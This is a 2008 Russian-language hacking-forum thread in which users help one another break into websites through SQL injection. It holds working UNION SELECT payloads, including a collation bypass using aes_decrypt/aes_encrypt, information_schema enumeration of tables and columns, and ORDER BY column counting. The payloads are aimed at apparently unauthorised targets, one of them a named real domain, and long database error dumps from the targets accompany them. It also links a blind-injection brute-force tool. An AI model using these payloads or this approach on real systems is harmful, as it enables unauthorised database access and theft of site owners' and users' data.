SQL непохек

Тема в разделе "Поиск уязвимостей", создана пользователем xeran, 1 сен 2008.

  1. Хел
    Хел Guest
    не факт просто что удаленное подключение в конфиге мускула разрешено...в 90% случаев разрешено лишь локальное.
     
    2 сен 2008
  2. xeran
    xeran Guest
    Ну незнаю как по статистике, но я на все сайты которые "хекал" заходил через Navicat

    Самый прикол, что сайт который в моей локалке - это сайт с тематикой Безопасность и взлом)))
     
    Последнее редактирование модератором: 2 сен 2008
    2 сен 2008
  3. Хел
    Хел Guest
    xeran,
    да любой чел может создать сайт с такой тематикой...только тематика зачастую там не оправдывает себя..
    а насчет статистики...наверное я очень не везучий в этом плане. моменты когда я мог удаленно подключиться можно пересчитать по пальцам одной руки.
     
    2 сен 2008
  4. logos
    logos Guest
    SoulFreaker, согласен, на хостингах удаленное подключение к мускулу практически не встречается, а вот на личных сереверах вполне можно встретить..
     
    2 сен 2008
  5. Хел
    Хел Guest
    http://www.soulfreaker.co.cc/tools/VCBrute.zip

    вот накатал удобный брут в посимвольном переборе...он сам определяет длину также выводимой бд строки и сам определяет диапазон (цифры-символы-буквы) в котором находится текущий символ=>брут проходит быстрее и без лишнего перебора...
     
    3 сен 2008
  6. xeran
    xeran Guest
    SoulFreaker,
    жаль пока хоста нет. Так бы с удовольствием юзнул))
     
    4 сен 2008
  7. Хел
    Хел Guest
    xeran,
    а зачем хост? качай один пхп интерпретатор и все...этот скрипт через командную строку работает.
     
    4 сен 2008
  8. xeran
    xeran Guest
    Еще один и сайт и еще один вопрос)

    имееться сайт тоже в локалке) вроде со скулей
    на ковычку
    Код:
    http://*****/?do=news_detail&id=99'
    открывает новую страничку и выводит:
    Код:
    ERROR
    SQL execution error, -3
    Array
    (
        [0] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/index.php
                [line] => 10
                [function] => run
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [1] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 34
                [function] => run_runmode
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                        [0] => news_detail
                    )
    
            )
    
        [2] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 88
                [function] => eval
            )
    
        [3] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php(88) : eval()'d code
                [line] => 1
                [function] => news_detail
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [4] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/mod_user.php
                [line] => 539
                [function] => getRow
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => SELECT * FROM realty_s_news WHERE id = 99'
                    )
    
            )
    
        [5] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 259
                [function] => execute
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => 1
                        [1] => Array
                            (
                            )
    
                    )
    
            )
    
        [6] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 186
                [function] => _raiseError
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => -3
                    )
    
            )
    
        [7] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 415
                [function] => fw_DB_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => 
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => SELECT * FROM realty_s_news WHERE id = 99' LIMIT 1
                    )
    
            )
    
        [8] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 861
                [function] => PEAR_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => SQL execution error
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1 [nativecode=1064]: SELECT * FROM realty_s_news WHERE id = 99' LIMIT 1
                    )
    
            )
    
    )
    Ну ладно это меня не смутило. Подобрал колчиство столбцов их оказалось 8.
    на запрос UNION SELECT на страничку вывелась цифра 6, Но если запросить версию то
    Код:
    http://*****/?do=news_detail&id=9999999+UNION+SELECT+1,2,3,4,5,version(),7,8/*
    получаем ошибки
    Код:
    ERROR
    SQL execution error, -3
    Array
    (
        [0] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/index.php
                [line] => 10
                [function] => run
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [1] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 34
                [function] => run_runmode
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                        [0] => news_detail
                    )
    
            )
    
        [2] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 88
                [function] => eval
            )
    
        [3] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php(88) : eval()'d code
                [line] => 1
                [function] => news_detail
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [4] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/mod_user.php
                [line] => 539
                [function] => getRow
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,version(),7,8/*
                    )
    
            )
    
        [5] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 259
                [function] => execute
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => 1
                        [1] => Array
                            (
                            )
    
                    )
    
            )
    
        [6] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 186
                [function] => _raiseError
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => -3
                    )
    
            )
    
        [7] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 415
                [function] => fw_DB_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => 
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,version(),7,8/* LIMIT 1
                    )
    
            )
    
        [8] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 861
                [function] => PEAR_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => SQL execution error
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => Illegal mix of collations for operation 'UNION' [nativecode=1271]: SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,version(),7,8/* LIMIT 1
                    )
    
            )
    
    )
    
    Уважаемые знатоки и вот вопрос: "Это я чего не знаю или бд такая?"
    SoulFreaker,
    Даш ссылку на интерпретатор ?
     
    4 сен 2008
  9. Хел
    Хел Guest
    xeran,
    http://www.php.net/get/php-5.2.6-win32-installer.msi/from/a/mirror

    а по скули...попробуй сделать так:
    Код:
    http://*****/?do=news_detail&id=9999999+UNION+SELECT+1,2,3,4,5,aes_decrypt(aes_encrypt(version(),0x73),0x73),7,8/*
    
    зы

    и дай версию бд...посимвольным перебором выдрать можеш.
     
    4 сен 2008
  10. xeran
    xeran Guest
    SoulFreaker,
    ты оказался прав вот версия
    5.0.2-alpha
    Везет мне на 5 ))

    и как взять таблички пробывал по анологии с версией не вышло
    Пробывал так:
    Код:
    http://*****/?do=news_detail&id=9999999+UNION+SELECT+1,2,3,4,5,aes_decrypt(aes_encrypt(Table_name,0x73),0x73),7,8+from+information_schema.tables/*
     
    4 сен 2008
  11. Хел
    Хел Guest
    xeran,
    а какую ошибку выдает?
     
    4 сен 2008
  12. xeran
    xeran Guest
    SoulFreaker,
    Код:
    ERROR
    SQL execution error, -3
    Array
    (
        [0] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/index.php
                [line] => 10
                [function] => run
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [1] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 34
                [function] => run_runmode
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                        [0] => news_detail
                    )
    
            )
    
        [2] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 88
                [function] => eval
            )
    
        [3] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php(88) : eval()'d code
                [line] => 1
                [function] => news_detail
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [4] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/mod_user.php
                [line] => 539
                [function] => getRow
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(Table_name,0x73),0x73),7,8 from information_schema.tables/*
                    )
    
            )
    
        [5] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 259
                [function] => execute
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => 1
                        [1] => Array
                            (
                            )
    
                    )
    
            )
    
        [6] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 186
                [function] => _raiseError
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => -3
                    )
    
            )
    
        [7] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 415
                [function] => fw_DB_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => 
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(Table_name,0x73),0x73),7,8 from information_schema.tables/* LIMIT 1
                    )
    
            )
    
        [8] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 861
                [function] => PEAR_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => SQL execution error
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => Can't read dir of './test/' (Errcode: 13) [nativecode=12]: SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(Table_name,0x73),0x73),7,8 from information_schema.tables/* LIMIT 1
                    )
    
            )
    
    )
     
    4 сен 2008
  13. Хел
    Хел Guest
    а может это и есть база? попробуй поколдовать повыдирать лимитом еще базы...у меня часто бывало что при скули в переадресации инфа из бд выводится в url строке и в хттп ответе 404...также бывает что инклудится какойто файл из базы...ну ты понял о чем я. если ./test/ будет меняться при каждом лимите то попробуй выдрать колонки из таблицы и посмотреть опять заместо этой диры...просто есть вероятность что тут выводится база. хотя не смею утверждать так как говорю только теоретически...
     
    4 сен 2008
  14. xeran
    xeran Guest
    SoulFreaker,
    к сожелению это не база((
    изрыл лимитом все вдоль и поперек)
    а вот на COLUMN_NAME
    Код:
    http://*****/?do=news_detail&id=9999999+UNION+SELECT+1,2,3,4,5,aes_decrypt(aes_encrypt(COLUMN_NAME,0x73),0x73),7,8+FROM+INFORMATION_SCHEMA.COLUMNS 
    вообще файл какой-то не находит:
    Код:
    ERROR
    SQL execution error, -3
    Array
    (
        [0] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/index.php
                [line] => 10
                [function] => run
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [1] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 34
                [function] => run_runmode
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                        [0] => news_detail
                    )
    
            )
    
        [2] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 88
                [function] => eval
            )
    
        [3] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php(88) : eval()'d code
                [line] => 1
                [function] => news_detail
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [4] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/mod_user.php
                [line] => 539
                [function] => getRow
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(COLUMN_NAME,0x73),0x73),7,8 FROM INFORMATION_SCHEMA.COLUMNS limit 0,3/*
                    )
    
            )
    
        [5] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 259
                [function] => execute
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => 1
                        [1] => Array
                            (
                            )
    
                    )
    
            )
    
        [6] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 186
                [function] => _raiseError
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => -3
                    )
    
            )
    
        [7] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 415
                [function] => fw_DB_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => 
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(COLUMN_NAME,0x73),0x73),7,8 FROM INFORMATION_SCHEMA.COLUMNS limit 0,3/*
                    )
    
            )
    
        [8] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 861
                [function] => PEAR_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => SQL execution error
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => Can't find file: './RetailGoods/address_book.frm' (errno: 13) [nativecode=1017]: SELECT * FROM realty_s_news WHERE id = 9999999 UNION SELECT 1,2,3,4,5,aes_decrypt(aes_encrypt(COLUMN_NAME,0x73),0x73),7,8 FROM INFORMATION_SCHEMA.COLUMNS limit 0,3/*
                    )
    
            )
    
    )
     
    4 сен 2008
  15. Хел
    Хел Guest
    Код:
    http://*****/?do=news_detail&id=9999999+union+select+1,2,3,4,5,aes_decrypt(aes_encrypt(column_name,0x73),0x73),7,8+from+information_schema.columns+where+table_name=0x74657374+limit+0,1/*
    
    а ну попробуй так, что выдаст?
     
    4 сен 2008
  16. xeran
    xeran Guest
    SoulFreaker,
    Код:
    ERROR
    SQL execution error, -3
    Array
    (
        [0] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/index.php
                [line] => 10
                [function] => run
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [1] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 34
                [function] => run_runmode
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                        [0] => news_detail
                    )
    
            )
    
        [2] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php
                [line] => 88
                [function] => eval
            )
    
        [3] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/application.php(88) : eval()'d code
                [line] => 1
                [function] => news_detail
                [class] => Application
                [type] => ->
                [args] => Array
                    (
                    )
    
            )
    
        [4] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/mod_user.php
                [line] => 539
                [function] => getRow
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => SELECT * FROM realty_s_news WHERE id = 9999999 union select 1,2,3,4,5,aes_decrypt(aes_encrypt(column_name,0x73),0x73),7,8 from information_schema.columns where table_name=0x74657374 limit 0,1/*
                    )
    
            )
    
        [5] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 259
                [function] => execute
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => 1
                        [1] => Array
                            (
                            )
    
                    )
    
            )
    
        [6] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 186
                [function] => _raiseError
                [class] => fw_DB_Interface
                [type] => ->
                [args] => Array
                    (
                        [0] => -3
                    )
    
            )
    
        [7] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 415
                [function] => fw_DB_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => 
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => SELECT * FROM realty_s_news WHERE id = 9999999 union select 1,2,3,4,5,aes_decrypt(aes_encrypt(column_name,0x73),0x73),7,8 from information_schema.columns where table_name=0x74657374 limit 0,1/*
                    )
    
            )
    
        [8] => Array
            (
                [file] => /usr/local/www/data-dist/tepan/core/fw_db.php
                [line] => 861
                [function] => PEAR_Error
                [class] => fw_DB_Error
                [type] => ->
                [args] => Array
                    (
                        [0] => SQL execution error
                        [1] => -3
                        [2] => 
                        [3] => 
                        [4] => Can't read dir of './test/' (Errcode: 13) [nativecode=12]: SELECT * FROM realty_s_news WHERE id = 9999999 union select 1,2,3,4,5,aes_decrypt(aes_encrypt(column_name,0x73),0x73),7,8 from information_schema.columns where table_name=0x74657374 limit 0,1/*
                    )
    
            )
    
    )
     
    4 сен 2008
  17. Хел
    Хел Guest
    кхм...похожие ситуации:
    Код:
    http://www.experts-exchange.com/Database/MySQL/Q_20924901.html
    http://www.programmingbulls.com/node/1225
    http://www.webmasterworld.com/databases_sql_mysql/3293666.htm
    http://osdir.com/ml/db.mysql.general/2002-08/msg02264.html
    http://www.webmasterworld.com/databases_sql_mysql/3293666.htm
    http://www.oreillynet.com/cs/user/view/cs_msg/7231
    ну и тд
    
    как я понял просто прав доступа нет...к чему это - я хз...видимо где то в скрипте происходит сбой. Эх был бы я в твоей локалке...
     
    4 сен 2008
  18. xeran
    xeran Guest
    SoulFreaker,
    Ага у нас локалка большая богатая)))
    Завтро еще посмотр может еще, что найду.
    А щас выключу этот шумный ящик)))
     
    4 сен 2008
  19. Хел
    Хел Guest
    xeran,
    в общем будут еще вопросы-пиши в эту тему, я ее закрепил...плюс все у кого вопросы по скулям - пишите тут. За вопросы по теории инъекций - бан на 3 дня. Здесь задаем только не раскрученые скули.
     
    4 сен 2008
  20. NetSky
    NetSky Guest
    Вот после такого запроса пишет что используется иное кол-во столбцов
    Код:
    http://www.studyguide.ru/reading.php?id=-9999999'+ORDER+BY+17/*
    После такого
    Код:
    http://www.studyguide.ru/reading.php?id=-9999999'+ORDER+BY+16/*
    Отображает страницу норм
    Отсюда следует, что используется 16 столбцов. Кароче столбцы я подобрал норм, но когда вписываю юнион+селект отображает просто пустую страницу, смотрел исходный код, просто скелет, то есть страница действительно пустая, при любых запросах связанных с юнион, селект, конкат и т.д. выскакивает просто пустая страница и столбцы все 16 подставлял и т.п. В чем дело?
     
    10 сен 2008
Загрузка...